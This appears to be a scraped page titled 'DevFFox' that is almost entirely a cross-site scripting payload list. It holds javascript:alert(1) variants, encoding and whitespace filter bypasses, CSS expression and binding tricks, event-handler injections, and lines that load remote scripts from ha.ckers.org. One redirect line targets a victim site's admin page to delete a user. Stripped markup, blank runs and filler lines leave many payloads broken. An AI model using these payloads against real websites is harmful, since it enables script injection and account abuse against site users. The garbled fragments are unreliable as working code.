DevFFox

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

'`">javascript:alert(1)

'`">javascript:alert(1)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

\x3Cscript>javascript:alert(1)

'"`>/* *\x2Fjavascript:alert(1)// */

javascript:alert(1)</script\x0D

javascript:alert(1)</script\x0A

javascript:alert(1)</script\x0B

javascript:alert(1)

 

--> -->

-->

-->

-->

`"'>

test

"'`>a='hello\x27;javascript:alert(1)//';

test

test

test

test

test

test

test

test

test

test

test

test

test

test

/* *\x2A/javascript:alert(1)// */

/* *\x00/javascript:alert(1)// */

</style\x3E

</style\x0D

</style\x09

</style\x20

</style\x0A

"'`>ABCDEF

"'`>ABCDEF

if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}

if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}

if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}

'`">javascript:alert(1)

'`">javascript:alert(1)

"'`>

"'`>

 

 

 

 

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

javascript:alert(1);

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

ABCDEF

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

"`'>\x3Bjavascript:alert(1)

"`'>\x0Djavascript:alert(1)

"`'>\xEF\xBB\xBFjavascript:alert(1)

"`'>\xE2\x80\x81javascript:alert(1)

"`'>\xE2\x80\x84javascript:alert(1)

"`'>\xE3\x80\x80javascript:alert(1)

"`'>\x09javascript:alert(1)

"`'>\xE2\x80\x89javascript:alert(1)

"`'>\xE2\x80\x85javascript:alert(1)

"`'>\xE2\x80\x88javascript:alert(1)

"`'>\x00javascript:alert(1)

"`'>\xE2\x80\xA8javascript:alert(1)

"`'>\xE2\x80\x8Ajavascript:alert(1)

"`'>\xE1\x9A\x80javascript:alert(1)

"`'>\x0Cjavascript:alert(1)

"`'>\x2Bjavascript:alert(1)

"`'>\xF0\x90\x96\x9Ajavascript:alert(1)

"`'>-javascript:alert(1)

"`'>\x0Ajavascript:alert(1)

"`'>\xE2\x80\xAFjavascript:alert(1)

"`'>\x7Ejavascript:alert(1)

"`'>\xE2\x80\x87javascript:alert(1)

"`'>\xE2\x81\x9Fjavascript:alert(1)

"`'>\xE2\x80\xA9javascript:alert(1)

"`'>\xC2\x85javascript:alert(1)

"`'>\xEF\xBF\xAEjavascript:alert(1)

"`'>\xE2\x80\x83javascript:alert(1)

"`'>\xE2\x80\x8Bjavascript:alert(1)

"`'>\xEF\xBF\xBEjavascript:alert(1)

"`'>\xE2\x80\x80javascript:alert(1)

"`'>\x21javascript:alert(1)

"`'>\xE2\x80\x82javascript:alert(1)

"`'>\xE2\x80\x86javascript:alert(1)

"`'>\xE1\xA0\x8Ejavascript:alert(1)

"`'>\x0Bjavascript:alert(1)

"`'>\x20javascript:alert(1)

"`'>\xC2\xA0javascript:alert(1)

"/>

"/>

"/>

"/>

"/>

"/>

"/>

"/>

"/>

javascript:alert(1)

javascript:alert(1)

javascript:alert(1)

javascript:alert(1)

javascript:alert(1)

javascript:alert(1)

javascript:alert(1)

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

`"'>

javascript:alert(1)

 

 

 

<video poster=javascript:javascript:alert(1)//

...............

X

 

 

X

 

CLICKME CLICKME

 

 

 

<img src="

 

<img src="

 

XXX

javascript:alert(1)

 

 

 

<b alert(1)0

document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;

 

 

 

 

 

x

javascript:alert(1)">

javascript:alert(1)">

javascript:alert(1)">

javascript:alert(1)'>">

javascript:alert(1)">

javascript:alert(1)">

d.innerHTML=d.innerHTML

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XXX

<img src="x` `javascript:alert(1)"` `>

 

 

">

 

 

 

 

 

X

p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};

<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d

@import "data:,*%7bx:expression(javascript:alert(1))%7D";

XXXXXX

*[{}@import'%(css)s?]X

XXX

XXX

 

*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}

 

X

X with(document.getElementById("d"))innerHTML=innerHTML

X

X

XXX #x{font-family:foo[bar;color:green;} #y];color:red;{}

XXX

({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval

({0:#0=eval/#0#/#0#(javascript:alert(1))})

ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x

Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()

&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi

&alert&A7&(1)&R&UA;&&

¼script¾javascript:alert(1)¼/script¾

X

1

1

 

1

XXX

 

 

 

x

%(payload)s

 

 

javascript:alert(1)

 

 

 

<SCRIPT SRC=%(jscript)s?

 

 

 

 

 

 

<%(payload)s//<

<IMG SRC="javascript:javascript:alert(1)"

<iframe src=%(scriptlet)s <

 

 

 

 

 

 

 

@import'%(css)s';

<META HTTP-EQUIV="Link" Content="; REL=stylesheet">

 

li {list-style-image: url("javascript:javascript:alert(1)");}XSS

 

 

 

 

 

 

 

 

 

javascript:alert(1);

.XSS{background-image:url("javascript:javascript:alert(1)");}

BODY{background:url("javascript:javascript:alert(1)")}

 

 

 

 

XSS""","XML namespace."),("""<IMG SRC="javascript:javascript:alert(1)">

 

 

+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-

X

 

 

@import'%(css)s';

a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}

&&javascript:alert(1)&&;&&

 

 

javascript:alert(1);

 

 

 

 

 

 

<![CDATA[<IMG SRC="javas]]]]

 

test1

test1

<embed width=500 height=500 code="data:text/html,%(payload)s">

">

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--

>">'>alert(String.fromCharCode(88,83,83))

'';!--"=&{()}

 

 

 

 

 

 

xxs link

xxs link

alert("XSS")">

 

 

 

 

 

 

 

 

 

 

 

perl -e 'print "";' > out

 

 

 

 

<alert("XSS");//<

<SCRIPT SRC=http://ha.ckers.org/xss.js?

 

<IMG SRC="javascript:alert('XSS')"

<iframe src=http://ha.ckers.org/scriptlet.html <

\";alert('XSS');//

alert("XSS");

 

 

 

 

li {list-style-image: url("javascript:alert('XSS')");}XSS

 

 

 

 

 

 

 

@import'http://ha.ckers.org/xss.css';

<META HTTP-EQUIV="Link" Content="; REL=stylesheet">

BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}

@im\port'\ja\vasc\ript:alert("XSS")';

 

exp/*

alert('XSS');

.XSS{background-image:url("javascript:alert('XSS')");}

BODY{background:url("javascript:alert('XSS')")}

BODY{background:url("javascript:alert('XSS')")}

 

 

¼script¾alert(¢XSS¢)¼/script¾

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<? echo('alert("XSS")'); ?>

 

Redirect 302 /a.jpg victimsite.com/admin.asp&deleteuser

<META HTTP-EQUIV="Set-Cookie" Content="USERID=alert('XSS')">

+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

" SRC="http://ha.ckers.org/xss.js">

" SRC="http://ha.ckers.org/xss.js">

" '' SRC="http://ha.ckers.org/xss.js">

'" SRC="http://ha.ckers.org/xss.js">

` SRC="http://ha.ckers.org/xss.js">

'>" SRC="http://ha.ckers.org/xss.js">

document.write("<SCRI");PT SRC="http://ha.ckers.org/xss.js">

XSS

XSS

XSS

XSS

XSS

XSS

 

{font-family&colon;''

<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"

alert&lpar;1&rpar; {Opera}

<img/src=`%00` onerror=this.onerror=confirm(1)

<isindex formaction="javascript&colon;confirm(1)"

<img src=`%00`&NewLine; onerror=alert(1)&NewLine;

 

prompt(1)</ScRipT giveanswerhere=?

 

/*%00*/alert(1)/*%00*/</script /*%00*/

">%00

<iframe/src="data:text/html,">

 

</script

<script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}

 

 

X

 

 

 

X</a

http://www.googlealert(document.location)</script

XYZ</a

<img/src=@ onerror = prompt('1')

<style/onload=prompt('XSS')

alert(String.fromCharCode(49))</script ^__^

/**/alert(document.location)/**/</script :-(

 

 

/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/

 

X

alert(0%0)

 

SPAN

<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)

">{-o-link-source&colon;''

OnMouseOver {Firefox & Opera}

^__^

X {IE7}

<iframe/%00/ src=javaSCRIPT&colon;alert(1)

////

/*iframe/src*/<iframe/src="

//|\\ //|\\ </script //|\\

/{src:''/

<plaintext/onmouseover=prompt(1)

''alert(1) {Opera}

DIV

 

X

 

 

On Mouse Over

Click Here

 

<%

 

<iframe/src \/\/onload = prompt(1)

<iframe/onreadystatechange=alert(1)

<svg/onload=alert(1)

<input value=<iframe/src=javascript:confirm(1)

<input type="text" value=`` X

www.alert(1)</script .com

 

alert(1)

 

 

 

 

click

 

MsgBox+1

<a href="data:text/html;base64_,">X</a

 

~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+

</script a=\u0061 & /=%2F

</script

 

+-+-1-+-+alert(1)

 

/*<script* */alert(1)</script

<img src ?itworksonchrome?\/onerror = alert(1)

//&NewLine;confirm(1);</script

alert(1)

ClickMe

alert(1) </script 1=2

style="x:">

<--` --!>

 

x

">

CLICKME

click

 

 

Click Me

Done